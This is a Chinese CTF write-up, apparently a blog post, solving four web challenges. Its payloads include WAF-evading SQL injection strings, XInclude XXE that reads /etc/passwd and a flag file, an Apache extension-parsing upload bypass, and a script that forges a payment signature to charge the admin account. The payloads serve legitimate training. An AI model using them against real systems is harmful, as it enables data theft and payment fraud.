安恒10月赛Web题目复现

前言

10月赛的时候去打那个瓜皮的领航杯(体验极差),还是回来复现安恒的题目比较好,质量还是有保证的,学到很多东西

正文

easy audit

这个题目确实有点脑洞。。运用了两个php函数一个是get_defined_functions这个函数是用于返回所有已定义函数的数组,而另外一个则是get_defined_vars 这个函数是返回由所有已定义变量所组成的数组
可以查看此网址:https://www.jb51.net/article/42890.htm

右键查看源代码发现存在index.php?func1,那么这个参数究竟有什么作用可以先尝试一下,上手就来一个phpinfo,发现直接有回显
iH0hd0.md.png
猜测是直接运行函数之类的功能,然后运用get_defined_functions 获得全局的函数这里面的函数有内置的也有开发人员自己定义的函数,可以发现最后的这一个函数特别显眼,调用一下这个函数发现有源码出来
iH0TWF.md.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){
echo file_get_contents('flag.php');
}

class jam_flag{
public $a;
function __construct(){
$this->a = isset($_GET['a'])?$_GET['a']:'123';
}
function gen_str($m=6){
$str = '';
$str_list = 'abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<$m;$i++){
$str .= $str_list[rand(0,strlen($str_list)-1)];
}
return $str;
}
function GiveYouTheFlag(){
include 'real_flag.php';
$secret = $this->gen_str();
//echo $secret;
if($secret === $this->a){
echo $real_flag;//echo $flag
}
}
function __invoke(){
echo 'want to use me?';
$this->GiveYouTheFlag();
}
}

echo rand().'<br>';
$_flag = new jam_flag;

if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){
include 'real_flag.php';
$_flag->GiveYouTheFlag();
}

?>

这段代码大致的意思就是新建了一个类,然后调用类里面的函数把flag给输出来
这里我们用到get_defined_vars这个函数,单独使用是不能输出flag的,可能到这里会存在疑问输出flag的函数应该还得满足$secret === $this->a而这个secret又是随机生成的,那要怎么办,其实不需要,这里的flag是属于real_flag.php里面的只要我们把页面包含进来我们就可以把该页面所有变量值都给打印出来了,所以关键点还得满足这个条件
isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'
即可包含real_flag.php,这应该是出题人故意留的不然也输出不了flag,23333
iHBiyd.md.png
发包得到flag
iHBAeI.md.png

手速要快

这个题目进去之后要登录,右键查看源代码找找http头部啥的发现里面有一个password,直接复制提交就可以登陆上去,登陆以后是一个upload页面
iHBMlQ.png
iHBlOs.png

然后尝试上传一个小马,发现不行,然后尝试改一下后缀发现这应该是黑名单过滤的,因为尝试了php2,php3.php4都可以上传,但是却不能解析把他们都当做文本解析了
iHBapF.md.png
但是可以发现服务器版本是Apache/2.4.6,这里可能存在解析漏洞,把后缀名改为Apache不认识的就可以了
iHBw6J.md.png
iHB7AP.md.png
flag直接在上层目录flag{698539765730b69026796420b9201e03}

CoolCms

原来这个题一叶飘零学长出的额2333
这个网站两个地方可能存在漏洞一个就是article.php页面存在SQL注入,因为这里面id参数暴露了出来,另外就是在write.php页面上可能存在xxe文件读取
现在可能存在的注入页面输入3的时候就会出现table flag????,再fuzz测试一下发现or,update,delete,以及逗号等符号都被过滤了
iHBL9S.md.png

本来就是飘零学长出的题目就去参考他的博客呀
http://skysec.top/2018/02/02/skysql%E4%B9%8Bunion%E7%BB%95waf/
http://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/

我们可以从fuzz的结果发现这里面的union还有select都可以单独使用但一旦他们两个一起使用的时候,就会被waf掉,猜测后台写的正则是这样写的|union select|,我们就可以使用%0b将其绕过,也就是union%0bselect
但是逗号又被过滤了,这个时候就可以用join去绕过
iHDk3F.png
join实现同样的效果
iHDAc4.md.png

or被过滤了,information_schema没法使用,虽然题目这里提示了我们表名为flag,但是字段名却无从知晓,这时候就可以利用联合填充来代替掉字段名和表名
iHDmH1.png

iHDtHI.md.png
可以发现现在字段名变成了1,2,3,所以要查找里面的内容可以用用下面的语句
select * from users where id=-1 union select 1,(select i.2 from (select 1,2,3 union select * from users)i limit 1,1),3;
iHDd4f.md.png

这样即可无需字段名来查找数据,然后通过limit语句一条条查即可,这里是因为逗号被过滤了所以我们用offset来替代
因此先测试一下哪一列有回显
-1' union%0bselect * from (select 1)x join (select 2)y join (select 3)k join (select 4)l--+发现第二列跟第四列有回显
iHD0C8.md.png

接着直接用上面的套路读出flag的路径-1' union%0bselect * from (select 1)x join (select 2)y join (select 3)k join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)l-- k
得到路径是/home/fff123aggg
iHD2Eq.md.png
开始用xxe读取文件,先试一下/etc/passwd,成功回显

1
2
3
4
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>

iHDW5V.md.png
然后读取flag

1
2
3
4
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/fff123aggg" parse="text"/>
</root>

得到flag{316f87681354a715d6134c4b8166aa73}

shop

这个题是个代码审计的题目,先把源码给down下来
打开这个网站发现有登陆注册功能,以及购买flag的功能,但是这里面要想得到真正的flag却需要888积分才可以购买,这个时候就感觉应该是越权购买flag的漏洞了。。。。
发现源码里面有数据库文件打开看一下,发现是存在管理员的,并且id是16,这个东西后期有用,而且他有30000积分,够买很多flag了,
iHDqV1.md.png
iHrJRU.png

这里面学到了该如何审计python的代码,感觉跟php套路一样,还是得先去看一下设置文件对应就是这里面的setting文件,
iHrYzF.md.png
发现里面有一个空的real flag只是出题人把他给删掉了,这里面的重要信息就是这个secret.key是用于构造签名的
其实这个secret.key已经给了的,也存在于源码里面
iHrUsJ.md.png
然后重点看urls.py.以及views.py,如果views.py不存在urls.py里面的函数说明是调用了框架自身调用的函数,对于这个题而言没必要去查看框架本身的代码
这段代码在注册方面本身是没有任何问题的,所以得看其他方面
再查看shop里面的urls.py以及views.py可以发现里面存在购买对于身份的验证操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@login_required
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})

这段代码最后是跳到payment的路由下,我们可以继续追踪一下,发现payment下就一个check函数,关键的函数就在views.py里面,这里对交易做了详细的校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def checkPayment(request):
# print(request.body)
ret = {'result': '未知错误', 'status': 'danger'}
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
o = get_object_or_404(Order, id=request.POST.get('order_id'))
g = get_object_or_404(Good, id=request.POST.get('good_id'))
u = get_object_or_404(User, id=request.POST.get('buyer_id'))
# 检查订单是否为待支付状态
if o.status != Order.ONGOING:
ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
# 检查商品是否可购买
elif g.available != True or g.amount <= 0:
ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
# 检查用户可用积分是否足够
elif u.profile.point < g.price:
ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
else:
if u.is_staff != True:
u.profile.point -= g.price
u.save()
g.amount -= 1
if g.name == 'FLAG':
o.message = REAL_FLAG
else:
o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}<br>(购买“FLAG”才能获得真正的 flag)'
if g.amount <= randint(0, 100):
g.amount += randint(100, 200)
g.save()
o.status = Order.FINISHED
o.save()
ret['result'] = f'订单 {o.id} 支付成功!'
ret['status'] = 'success'
else:
ret['result'] = '签名不正确,数据可能被篡改!'
return render(request, 'payment/result.html', ret)

商品从三方面进行了校验

1
2
3
1.检查订单是否为待支付状态
2.检查商品是否可购买
3.检查用户可用积分是否足够

但是这三方面只是单单对商品方做了校验(自检验),那购买者呢?不存在对其的任何校验,也就是没有做好双向的校验,这也说明我们可以从伪造购买者的方面去入手,让别人付钱23333

根据它里面的代码去构造signature就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin'
form = {
'order_id': '148',
'buyer_id': '16', #admin账号id,从数据库得知
'good_id': '38', # 商品id也可从数据库得知
'buyer_point': '250',
'good_price': '50',
'order_create_time': '1541706305.953427' #时间戳支付订单上有
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
print(sign)

得到签名之后抓支付的包修改对应参数发包即可
iHraL9.md.png
得到flag
iHr6zD.md.png

小结

这次月赛学到了几个点总结一下,第一就是学到PHP几个偏门小函数,第二就是一叶飘零学长出的题目的一波SQL注入的骚操作以及xxe文件读取的操作,第三就是执念于心学长出的逻辑漏洞的代码审计,如何去审计Django框架的代码,怎么去发现无双向检验的logic漏洞,复习去了2333


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. 正文
    1. 2.1. easy audit
    2. 2.2. 手速要快
  3. 3. CoolCms
  4. 4. shop
  5. 5. 小结